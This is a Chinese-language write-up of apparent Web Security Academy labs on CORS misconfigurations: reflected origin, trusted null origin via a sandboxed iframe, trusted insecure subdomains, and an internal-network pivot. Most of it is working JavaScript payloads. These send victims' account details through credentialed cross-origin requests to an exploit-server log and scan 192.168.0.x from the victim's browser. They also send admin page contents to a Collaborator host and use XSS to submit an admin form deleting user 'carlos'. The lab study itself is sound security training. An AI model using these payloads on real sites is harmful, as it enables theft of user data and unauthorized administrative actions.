具有基本原点反射的 CORS 漏洞

image-20221206161641604

可以看到获取用户敏感信息的请求 而这个请求是在我们登录之后它 自行访问的 当然也就是经过js代码出去的请求 并且观察响应头可以发现存在 Access-Control-Allow-Credentials: true

image-20221206161634373

我们这里随意添加一个 Origin头 观察响应 发信息接收了请求 并且由于存在 Access-Control-Allow-Credentials: true 代表了可以发送cookie 也就是验证用户的身份 那么这里就造成一个问题

image-20221206161927068

如果我们伪造一个服务器托管上恶意的js代码 模仿这个请求去访问用户的数据. 当然如果我们自己访问这个网站当然是没有危害的 但是我们可以使用和csrf类似的攻击方式 让受害者去访问这个页面 接着我们就可以拿到受害者的敏感信息

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
// 当http请求完成后会调用这个函数
req.open('get','https://0ae800580338a827c0002eb900e000ce.web-security-academy.net/accountDetails',true);
// get方法 url 是否异步请求
req.withCredentials = true;
//设置跨域请求是否携带 cookie信息
req.send();
function reqListener(){
location='/log?key='+this.responseText;
//拿到响应 跳转到当前网站记录日志信息
}

</script>

image-20221206194111106

image-20221206194210430

image-20221206194225912

具有可信空源的 CORS 漏洞

image-20221206201747094

image-20221206201739657

image-20221206201914630

直接添加origin请求发现不支持请求

image-20221206202737903

但是当添加 null 却是可以接受的

这里使用的是iframe沙箱

<iframe sandbox="allow-scripts allow-top-navigation allwo-forms" srcdoc="<script>
<!-- 表示页面可以执行脚本 导航到顶层页面 和提交表单 -->
<!--srcdoc 表示用来指定嵌入html页面的内容-->
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a2d001503eba684c0b1730100eb00ba.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0a1a004303dba6ccc0e475c001a100c7.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

image-20221206203618482

image-20221206203643923

image-20221206203723440

具有受信任的不安全协议的 CORS 漏洞

image-20221206203818518

当请求是任意子域时可以接受

image-20221206205425371

当 Check stock时会访问子域

image-20221206210749680

image-20221206210907208

子域中的 productid参数存在 xss

<script>
document.location="http://stock.0acc005803aafe94c15409ff00bb0061.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0acc005803aafe94c15409ff00bb0061.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0ac100230340fe4cc1930b1501970039.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

image-20221206212019417

image-20221206211949575

image-20221206212007015

具有内部网络枢轴攻击的 CORS 漏洞

image-20221206212651215

这里的意思大概就是只有 内网的域才能无限制的 访问敏感信息

image-20221206230806673

image-20221207000630494

<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';
// 定义q数组 collaboratorURL 的位置

for (i = 1; i <= 255; i++) {
//从1 - 255
q.push(function (url) {
//
return function (wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.' + i + ':8080'));
// 向 q中 push 255个function
}

for (i = 1; i <= 20; i++) {
//从1 到20 循环
if (q.length) q.shift()(i * 100);
// 如果数组中元素不为空 就删除第一个元素 并放回第一个元素的值 也就是执行 q数组中的匿名函数 其中 (i*100) 代表匿名函数的参数
}

function fetchUrl(url, wait) {
var controller = new AbortController(), signal = controller.signal;
//AbortController 是js的类 用来取消正在运行的异步操作 signal是一个AbortController的一个属性 就行一个标记符一样 想要控制那个函数就在那个函数上面标记 想要停止函数就执行对应abort() 使signal的值改变 停止函数
fetch(url, {signal}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip=' + url.replace(/^http:\/\//, '') + '&code=' + encodeURIComponent(text) + '&' + Date.now();
}))
// 将 url请求拿到的数据 传入到 code中去并转到 collaborator 去
.catch(e => {
if (q.length) {
q.shift()(wait);
// 如果出现异常就访问下一个
}
});
setTimeout(x => {
controller.abort();
//如果超时就中断 url请求 并访问下一个
if (q.length) {
q.shift()(wait);
}
}, wait);
}
</script>

image-20221207004530546

这个脚本用来扫描内网存活 ip 当然 这个脚本的前提是 该受害者是在网站的内网环境中的 也就是说这个脚本我们是直接发给网站管理员的

现在我们已经获得了 网站的内网ip但是在这里呢 我们可以看到这个 网站是处于未登录的状态,我们通过cors并不能带有cookie的访问信息 也就是需要寻找 xss漏洞去进一步利用

image-20221207004602255

这里是去测试 网站的username是否存在 xss漏洞的

<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
// 通过正则去匹配 csrf的值
}

function fetchUrl(url, collaboratorURL){
fetch(url).then(r => r.text().then(text => {
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
//这里是去查看 username参数是否存在 xss的payload
}))
}

fetchUrl("http://192.168.0.77:8080", "http://p7xiq4ibj3fr6bawenrcyrjlyc44st.burpcollaborator.net");
</script>

image-20221207004946672

<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
//这里通过xss去获取了 /admin的内容
}
))
}

fetchUrl("http://192.168.0.77:8080", "http://p7xiq4ibj3fr6bawenrcyrjlyc44st.burpcollaborator.net");
</script>

image-20221207005233736

这里可以发现删除页面的form表单

image-20221207005343726

构造xss提交form表单

<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}
))
}

fetchUrl("http://192.168.0.77:8080");
</script>

image-20221207005537026